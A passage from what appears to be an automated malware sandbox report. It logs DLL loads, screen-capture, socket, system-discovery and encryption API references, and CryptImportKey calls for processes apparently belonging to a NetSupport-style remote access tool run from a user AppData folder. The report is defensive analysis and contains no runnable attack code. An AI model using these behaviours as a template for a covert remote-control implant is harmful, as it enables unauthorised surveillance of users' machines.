00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00004744) "7z.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000400) "7z.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000400) "7z.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000400) "7z.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000400) "7z.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Nfservice\7z.dll (UID: 00000000-00000400) "neservice.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Nfservice\dbghelp.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter Wtsapi32.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter DBGHELP.DLL (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter Advapi32.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter NSMTRACE (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Nfservice\CryptPak.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Nfservice\HTCTL32.DLL (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter WinInet.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter imm32 (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter pcihooks (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter SHELL32.DLL (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter riched32.dll (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter USER32 (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter PCIINV.DLL (UID: 00000000-00002888) "neservice.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00002888) "7z.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006340) "7z.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006340) "7z.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006340) "7z.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006340) "7z.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Nfservice\7z.dll (UID: 00000000-00006340)29:Tf13,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetDIBits ret %d lines" (Indicator: "GetDIBits"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "BitBlt(Default) failed, e=%d, trying scrapeApp" (Indicator: "BitBlt"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp")2a:T4e5,Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "ZwCreateFile" (Indicator: "CreateFile"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "ZwCreateFile" (Indicator: "ZwCreateFile"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CSmartcardDevice - CreateFile failed (%d)" (Indicator: "CreateFile"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")2b:T92b,Found system information discovery API: "GetNativeSystemInfo" in file "00000000-00006340.00000000.164028.010C1000.00000020.mdmp" Found system information discovery API: "GetEnvironmentStrings" in "00000000-00002888.00000000.163893.10710000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationA" in "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "WTSRegisterSessionNotification" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsForUserA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "NSMPlatformNT-ExpandEnvironmentStringsForUser(%s)" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00006340.00000000.164028.010F9000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00006340.00000000.164028.010F9000.00000002.mdmp"2c:T10ac,file/memory contains long string with (Indicator: " connect "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsastartup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsacleanup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " send "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " recv "; File: "HTCTL32.DLL") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00004744-00000C2C-1533278453") Found reference to API "Sessionz %dz #%u Recv %-4u bytes %s" (Indicator: " recv "; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found reference to API "Error send returned 0 on connection %d" (Indicator: " send "; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found reference to API "Sessionz %dz #% Recv %-4u bytes %s" (Indicator: " recv "; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found reference to API "Cannot connect to gateway %s via web proxy, error %d" (Indicator: " connect "; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found reference to API "Cannot connect to gateway %s, error %d" (Indicator: " connect "; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found reference to API "Sessionz %dz #%u Send %-4u bytes %s" (Indicator: " send "; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "REQUEST RECV : RequestChatJoin("%s")" (Indicator: " recv "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "REQUEST RECV : RequestChatLeave("%s")" (Indicator: " recv "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "REQUEST RECV : RequestSendChatMessage("%s")" (Indicator: " recv "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "REQUEST RECV : RequestChatHistory()" (Indicator: " recv "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "REQUEST RECV : RequestChatMembers()" (Indicator: " recv "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "REQUEST RECV : RequestSendHelpRequest("%s")" (Indicator: " recv "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "client32provider reported error, send CAD just in case (lap %d)" (Indicator: " send "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Error: Reject connect attempt for Tutor only" (Indicator: " connect "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Connect, Send AudioFmt, mode=%d, smp/s=%d, bits=%d" (Indicator: " send "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "ReceiveData() the socket is not connected" (Indicator: " socket "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetRemoteIPAddress() the socket is not connected" (Indicator: " socket "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Connect() the socket is not closed" (Indicator: " socket "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Listen() the socket is not closed" (Indicator: " socket "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SendData() the socket is not connected" (Indicator: " socket "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SetIsFullyConnected() Socket state is invalid for connection enabling" (Indicator: " socket "; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp")2d:Te11,file/memory contains long string with (Indicator: "aes"; File: "7z.exe") file/memory contains long string with (Indicator: "aes256"; File: "7z.exe") file/memory contains long string with (Indicator: "base64"; File: "HTCTL32.DLL") Found string "MA2:6m BCJ 7zAES" (Indicator: "aes"; Source: "00000000-00000400.00000000.163549.00A40000.00000004.mdmp") Found string "AES256CBC" (Indicator: "aes"; Source: "00000000-00000400.00000000.163549.00A40000.00000004.mdmp") Found string "AES256CBC" (Indicator: "aes256"; Source: "00000000-00000400.00000000.163549.00A40000.00000004.mdmp") Found string "7zAES" (Indicator: "aes"; Source: "00000000-00000400.00000000.163549.00A40000.00000004.mdmp") Found string "LZMA2:6m BCJ 7zAES" (Indicator: "aes"; Source: "00000000-00000400.00000000.163549.00A80000.00000004.mdmp") Found string ".?AVCEncryptAESBase@@" (Indicator: "aes"; Source: "00000000-00002888.00000000.163893.111D5000.00000004.mdmp, 00000000-00002888.00000001.165813.111D5000.00000004.mdmp") Found string ".?AVCEncryptBlowfish@@" (Indicator: "blowfish"; Source: "00000000-00002888.00000000.163893.111D5000.00000004.mdmp, 00000000-00002888.00000001.165813.111D5000.00000004.mdmp") Found string ".?AVCEncryptRijndael@@" (Indicator: "rijndael"; Source: "00000000-00002888.00000000.163893.111D5000.00000004.mdmp, 00000000-00002888.00000001.165813.111D5000.00000004.mdmp") Found string ".?AVCEncryptTwofish@@" (Indicator: "twofish"; Source: "00000000-00002888.00000000.163893.111D5000.00000004.mdmp, 00000000-00002888.00000001.165813.111D5000.00000004.mdmp") Found string "base64.cpp" (Indicator: "base64"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found string "!"Unable to continue no Aes server"" (Indicator: "aes"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "..\CTL32\EncryptAESBase.cpp" (Indicator: "aes"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "Blowfish" (Indicator: "blowfish"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "RIJNDAEL" (Indicator: "rijndael"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "TWOFISH" (Indicator: "twofish"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "BLOWFISH" (Indicator: "blowfish"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "m_AESServer!=NULL" (Indicator: "aes"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "Rijndael" (Indicator: "rijndael"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "Twofish" (Indicator: "twofish"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "64 bit (Blowfish)" (Indicator: "blowfish"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "128 bit (Twofish)" (Indicator: "twofish"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "256 bit (AES)}The Client does not support the selected encryption mode." (Indicator: "aes"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "LZMA2:17 7zAES" (Indicator: "aes"; Source: "00000000-00006340.00000000.164028.00C00000.00000004.mdmp, 00000000-00006340.00000000.164028.04900000.00000004.mdmp") Found string "AES256CBC:2" (Indicator: "aes"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found string "AES256CBC:2" (Indicator: "aes256"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")2e:T687,Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GlobalMemoryStatus" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")2f:T21f0,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e0dbfc378b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70d4fc378b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a0ddfc378b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "20dafc378b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc8ae0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d006f2378b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc8ae0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a0ddfc378b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc8ae0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "1017263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": 